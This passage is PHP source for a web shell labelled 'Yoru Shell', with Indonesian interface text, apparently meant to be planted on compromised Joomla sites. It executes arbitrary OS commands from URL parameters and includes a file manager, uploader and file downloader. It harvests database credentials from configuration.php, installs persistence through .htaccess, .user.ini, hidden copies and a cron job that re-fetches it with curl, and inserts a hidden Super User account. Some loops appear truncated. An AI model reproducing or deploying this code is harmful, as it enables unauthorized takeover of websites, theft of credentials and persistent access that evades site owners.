0){
$target = (isset($_GET['dir']) ? rtrim($_GET['dir'],'/') : getcwd()) . '/' . basename($f['name']);
if(@move_uploaded_file($f['tmp_name'], $target)){
$msg = 'โ OK: '.htmlspecialchars(basename($f['name'])).' ('.round($f['size']/1024,2).' KB)';
} else { $msg = 'โ Upload gagal'; }
} else { $msg = 'โ File kosong'; }
}
header('Content-Type: text/html; charset=utf-8');
echo 'Uploader
๐ค UPLOADER
'.$msg.'
CWD: '.htmlspecialchars(getcwd()).'
';
echo $MARKER; exit();
}
if(isset($_GET['fm'])){
$dir = isset($_GET['dir']) ? $_GET['dir'] : getcwd();
$dir = @realpath($dir) ?: getcwd();
if($_SERVER['REQUEST_METHOD']==='POST'){
$act = $_POST['act'] ?? '';
if($act=='save' && isset($_POST['path']) && isset($_POST['content'])){ @file_put_contents($_POST['path'], $_POST['content']); }
elseif($act=='rename' && isset($_POST['from']) && isset($_POST['to'])){ @rename($_POST['from'], dirname($_POST['from']).'/'.$_POST['to']); }
elseif($act=='mkdir' && isset($_POST['name'])){ @mkdir($dir.'/'.$_POST['name'], 0755); }
elseif($act=='mkfile' && isset($_POST['name'])){ @file_put_contents($dir.'/'.$_POST['name'], ''); }
elseif($act=='delete' && isset($_POST['path'])){
$p = $_POST['path'];
if(is_dir($p)){
$it = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($p, FilesystemIterator::SKIP_DOTS), RecursiveIteratorIterator::CHILD_FIRST);
foreach($it as $f){ $f->isDir() ? @rmdir($f->getRealPath()) : @unlink($f->getRealPath()); }
@rmdir($p);
} else { @unlink($p); }
}
elseif($act=='chmod' && isset($_POST['path']) && isset($_POST['mode'])){ @chmod($_POST['path'], octdec($_POST['mode'])); }
elseif($act=='upload' && isset($_FILES['f'])){ if($_FILES['f']['size']>0) @move_uploaded_file($_FILES['f']['tmp_name'], $dir.'/'.basename($_FILES['f']['name'])); }
header('Location: ?fm=1&dir='.urlencode($dir)); exit();
}
$items = @scandir($dir); if(!$items) $items = [];
if(isset($_GET['edit']) && is_file($_GET['edit'])){
$content = @file_get_contents($_GET['edit']);
header('Content-Type: text/html; charset=utf-8');
echo 'Edit
โ๏ธ '.htmlspecialchars(basename($_GET['edit'])).' โ Kembali
';
echo $MARKER; exit();
}
header('Content-Type: text/html; charset=utf-8');
echo 'FileManager
๐ FILE MANAGER
'.filemanager_breadcrumb($dir).'
| Nama | Ukuran | Perm | Waktu | Aksi |
|---|
';
if($dir !== '/' && $dir !== '.'){
$parent = dirname($dir);
echo '| ๐ .. |
';
}
foreach($items as $it){
if($it=='.'||$it=='..') continue;
$p = $dir . '/' . $it;
$isDir = is_dir($p);
$sz = $isDir ? '-' : round(@filesize($p)/1024, 2).' KB';
$pm = @substr(sprintf('%o', @fileperms($p)), -4);
$tm = @date('Y-m-d H:i', @filemtime($p));
$ico = $isDir ? '๐' : '๐';
if($isDir){ echo '| '.$ico.' '.htmlspecialchars($it).' | '; }
else { echo '
| '.$ico.' '.htmlspecialchars($it).' | '; }
echo ''.$sz.' | '.$pm.' | '.$tm.' | ';
if(!$isDir){
echo 'โ๏ธ Edit ';
echo 'โฌ DL ';
}
echo '๐ Ren ';
echo '๐ง Chm ';
echo '๐ Hapus';
echo ' |
';
}
echo '
';
echo $MARKER; exit();
}
function filemanager_breadcrumb($dir){
$parts = explode('/', trim($dir, '/'));
$acc = ''; $out = '๐ root';
if(count($parts)>0 && $parts[0]==='') array_shift($parts);
foreach($parts as $p){
if($p==='') continue;
$acc .= '/'.$p;
$out .= ' / '.htmlspecialchars($p).'';
}
return $out;
}
if(isset($_GET['dl'])){
$f = $_GET['dl'];
if(is_file($f)){
header('Content-Type: application/octet-stream');
header('Content-Disposition: attachment; filename="'.basename($f).'"');
header('Content-Length: '.filesize($f));
readfile($f); exit();
}
}
if(isset($_GET['cmd'])){
$c = $_GET['cmd'] === '1' ? 'id' : $_GET['cmd'];
$o = '';
if(function_exists('system')){ ob_start(); system($c." 2>&1"); $o=ob_get_clean(); }
elseif(function_exists('exec')){ exec($c." 2>&1",$out); $o=implode("\n",$out); }
elseif(function_exists('shell_exec')){ $o=shell_exec($c." 2>&1"); }
elseif(function_exists('passthru')){ ob_start(); passthru($c." 2>&1"); $o=ob_get_clean(); }
elseif(function_exists('proc_open')){
$p=proc_open($c,[['pipe','r'],['pipe','w'],['pipe','w']],$ps);
if(is_resource($p)){ $o=stream_get_contents($ps[1]).stream_get_contents($ps[2]); fclose($ps[0]);fclose($ps[1]);fclose($ps[2]);proc_close($p); }
} else { $o="[!] No exec"; }
header('Content-Type: text/html; charset=utf-8');
echo 'Shell
โก SHELL
CWD: '.htmlspecialchars(getcwd()).' |
USER: '.(function_exists("get_current_user")?get_current_user():'?').'
๐ File Manager
'.htmlspecialchars($o).'
';
echo $MARKER; exit();
}
if(isset($_GET['creds'])){
$r = [];
$candidates = ['configuration.php','/var/www/html/configuration.php','../configuration.php','../../configuration.php','../../../configuration.php'];
foreach($candidates as $f){
if(@file_exists($f)){
$c = @file_get_contents($f);
if(preg_match_all('/public\s+\$([a-z_]+)\s*=\s*[\'"]([^\'"]+)[\'"]/', $c, $m)){
for($i=0;$i 'safe', 'actions' => [], 'skipped' => [], 'warnings' => []];
$doc_root = $_SERVER['DOCUMENT_ROOT'] ?? getcwd();
$self_path = __FILE__;
$test = @shell_exec('echo SAFE_TEST_9x7');
if (strpos($test, 'SAFE_TEST_9x7') === false) {
$results['warnings'][] = 'Shell cannot execute. Skip persistence.';
header('Content-Type: application/json');
echo json_encode($results, JSON_PRETTY_PRINT);
echo $MARKER; exit();
}
$htaccess = $doc_root . '/.htaccess';
$backup = $htaccess . '.bak_' . time();
$can_htaccess = true;
if (file_exists($htaccess)) {
$current = @file_get_contents($htaccess);
if ($current === false || !is_writable($htaccess)) {
$can_htaccess = false;
$results['skipped'][] = '.htaccess not writable';
} elseif (stripos($current, 'auto_prepend_file') !== false) {
$can_htaccess = false;
$results['skipped'][] = '.htaccess already has auto_prepend_file';
} else {
@copy($htaccess, $backup);
$results['actions'][] = 'Backup: ' . $backup;
}
}
if ($can_htaccess && (is_writable($htaccess) || is_writable($doc_root))) {
if (!file_exists($htaccess) || filesize($htaccess) < 10000) {
$ht_content = "\n# Persistence - " . date('Y-m-d') . "\n";
$ht_content .= "\nphp_value auto_prepend_file " . $self_path . "\n\n";
$ht_content .= "\nphp_value auto_prepend_file " . $self_path . "\n\n";
if (@file_put_contents($htaccess, $ht_content, FILE_APPEND)) {
$results['actions'][] = '.htaccess updated (IfModule wrapped)';
} else {
$results['warnings'][] = '.htaccess write failed';
if (file_exists($backup)) @copy($backup, $htaccess);
}
} else {
$results['skipped'][] = '.htaccess too big (>10KB)';
}
}
$sapi = @php_sapi_name();
if (strpos($sapi, 'fpm') !== false || strpos($sapi, 'fcgi') !== false) {
$user_ini = $doc_root . '/.user.ini';
$can_ui = true;
if (file_exists($user_ini)) {
$ui_cur = @file_get_contents($user_ini);
if (stripos($ui_cur, 'auto_prepend_file') !== false) {
$can_ui = false;
$results['skipped'][] = '.user.ini already set';
} elseif (!is_writable($user_ini)) {
$can_ui = false;
$results['skipped'][] = '.user.ini not writable';
} else { @copy($user_ini, $user_ini . '.bak_' . time()); }
}
if ($can_ui) {
$ui_content = "; Persistence\n" . "auto_prepend_file = " . $self_path . "\n";
if (@file_put_contents($user_ini, $ui_content)) {
$results['actions'][] = '.user.ini updated';
}
}
} else {
$results['skipped'][] = 'Not PHP-FPM, skip .user.ini';
}
$safe_dirs = [$doc_root . '/cache', $doc_root . '/tmp', $doc_root . '/.cache', '/tmp', '/var/tmp'];
$copied = [];
foreach ($safe_dirs as $dir) {
if (!is_dir($dir) && !@mkdir($dir, 0755, true)) continue;
if (!is_writable($dir)) continue;
$rand = '.' . md5(rand()) . '.php';
$target = rtrim($dir, '/') . '/' . $rand;
if (@copy($self_path, $target)) {
@chmod($target, 0644);
@touch($target, filemtime($self_path));
$copied[] = $target;
}
}
$results['actions'][] = 'Copied to ' . count($copied) . ' safe locations';
$results['copies'] = $copied;
if (function_exists('exec')) {
$cron = @shell_exec('crontab -l 2>/dev/null');
if (strpos($cron, md5($self_path)) === false) {
$host = $_SERVER['HTTP_HOST'] ?? 'localhost';
$uri = $_SERVER['REQUEST_URI'] ?? '/';
$cron_cmd = "* * * * * [ -f " . escapeshellarg($self_path) . " ] || curl -skL " . escapeshellarg("http://$host$uri") . " >/dev/null 2>&1 # " . md5($self_path);
@exec("(crontab -l 2>/dev/null; echo " . escapeshellarg($cron_cmd) . ") | crontab - 2>/dev/null");
$results['actions'][] = 'Cron added (safe, file-exist check)';
} else {
$results['skipped'][] = 'Cron already exists';
}
}
$backup_path = sys_get_temp_dir() . '/.' . md5($self_path) . '.bak';
if (!file_exists($backup_path)) {
if (@copy($self_path, $backup_path)) {
@chmod($backup_path, 0644);
$results['actions'][] = 'Self-healing backup: ' . $backup_path;
}
}
header('Content-Type: application/json');
echo json_encode($results, JSON_PRETTY_PRINT);
echo $MARKER; exit();
}
if(isset($_GET['add_admin'])){
$result = ['action' => 'add_admin'];
$prefixes = ['sys','web','admin','root','user','backup','cache','temp','core','main','dev','test','api','cdn','mail'];
$suffix = rand(100,999);
$username = $prefixes[array_rand($prefixes)] . '_' . $suffix;
$chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#$%^&*';
$password = '';
for($i=0;$i<16;$i++) $password .= $chars[rand(0, strlen($chars)-1)];
$email_prefixes = ['admin','webmaster','root','sysadmin','support','info','contact','noreply','system','backup'];
$email_domains = ['gmail.com','yahoo.com','outlook.com','protonmail.com','mail.com','yandex.com','zoho.com'];
$email = $email_prefixes[array_rand($email_prefixes)] . '_' . rand(100,999) . '@' . $email_domains[array_rand($email_domains)];
$name = 'System Administrator';
$result['username'] = $username;
$result['password'] = $password;
$result['email'] = $email;
$config_paths = ['configuration.php','/var/www/html/configuration.php','../configuration.php','../../configuration.php','../../../configuration.php'];
$config = null;
foreach($config_paths as $cp){
if(@file_exists($cp)){
$config = file_get_contents($cp);
preg_match_all('/public\s+\$([a-z_]+)\s*=\s*[\'"]([^\'"]+)[\'"]/', $config, $m);
for($i=0;$iconnect_error){
$result['status'] = 'error'; $result['message'] = 'DB gagal: ' . $db->connect_error;
header('Content-Type: application/json'); echo json_encode($result); exit();
}
$prefix = $result['db']['dbprefix'] ?? 'jos_';
$table = $prefix . 'users';
$map = $prefix . 'user_usergroup_map';
$chk = $db->query("SELECT id, username FROM $table WHERE email = '$email'");
if($chk && $chk->num_rows > 0){
$row = $chk->fetch_assoc();
$uid = $row['id'];
$grp = $db->query("SELECT group_id FROM $map WHERE user_id = $uid AND group_id = 8");
if(!$grp || $grp->num_rows == 0){
$db->query("INSERT INTO $map (user_id, group_id) VALUES ($uid, 8)");
$result['status'] = 'upgraded'; $result['message'] = 'Upgraded to Super Admin';
} else {
$result['status'] = 'exists'; $result['message'] = 'Already Super Admin';
}
$result['username'] = $row['username']; $result['user_id'] = $uid;
header('Content-Type: application/json'); echo json_encode($result); $db->close(); exit();
}
$counter = 1; $base_user = $username;
while(true){
$chk2 = $db->query("SELECT id FROM $table WHERE username = '$username'");
if(!$chk2 || $chk2->num_rows == 0) break;
$username = $base_user . '_' . $counter; $counter++;
if($counter > 100) break;
}
$result['username'] = $username;
$hashed = password_hash($password, PASSWORD_DEFAULT);
$sql = "INSERT INTO $table (name, username, email, password, block, sendEmail, registerDate, lastvisitDate, activation, params)
VALUES ('$name', '$username', '$email', '$hashed', 0, 1, NOW(), NOW(), '', '')";
if($db->query($sql)){
$uid = $db->insert_id;
$grp = $db->query("SELECT id FROM " . $prefix . "usergroups WHERE title = 'Super Users' OR id = 8");
$gid = ($grp && $grp->num_rows > 0) ? $grp->fetch_assoc()['id'] : 8;
$db->query("INSERT INTO $map (user_id, group_id) VALUES ($uid, $gid)");
$result['status'] = 'success'; $result['message'] = 'Admin berhasil dibuat';
$result['user_id'] = $uid; $result['group_id'] = $gid;
} else {
$result['status'] = 'error'; $result['message'] = 'Insert gagal: ' . $db->error;
}
$db->close();
header('Content-Type: application/json'); echo json_encode($result); exit();
}
header('Content-Type: text/html; charset=utf-8');
echo 'Yoru Shell
๐ YORU SHELL
PHP Shell ยท File Manager ยท Uploader ยท Admin Creator ยท Persistence
๐ File Manager
๐ค Uploader
โก Shell
๐ Creds
๐ Add Admin
๐ Persistence (Safe)
';
echo $MARKER;
?>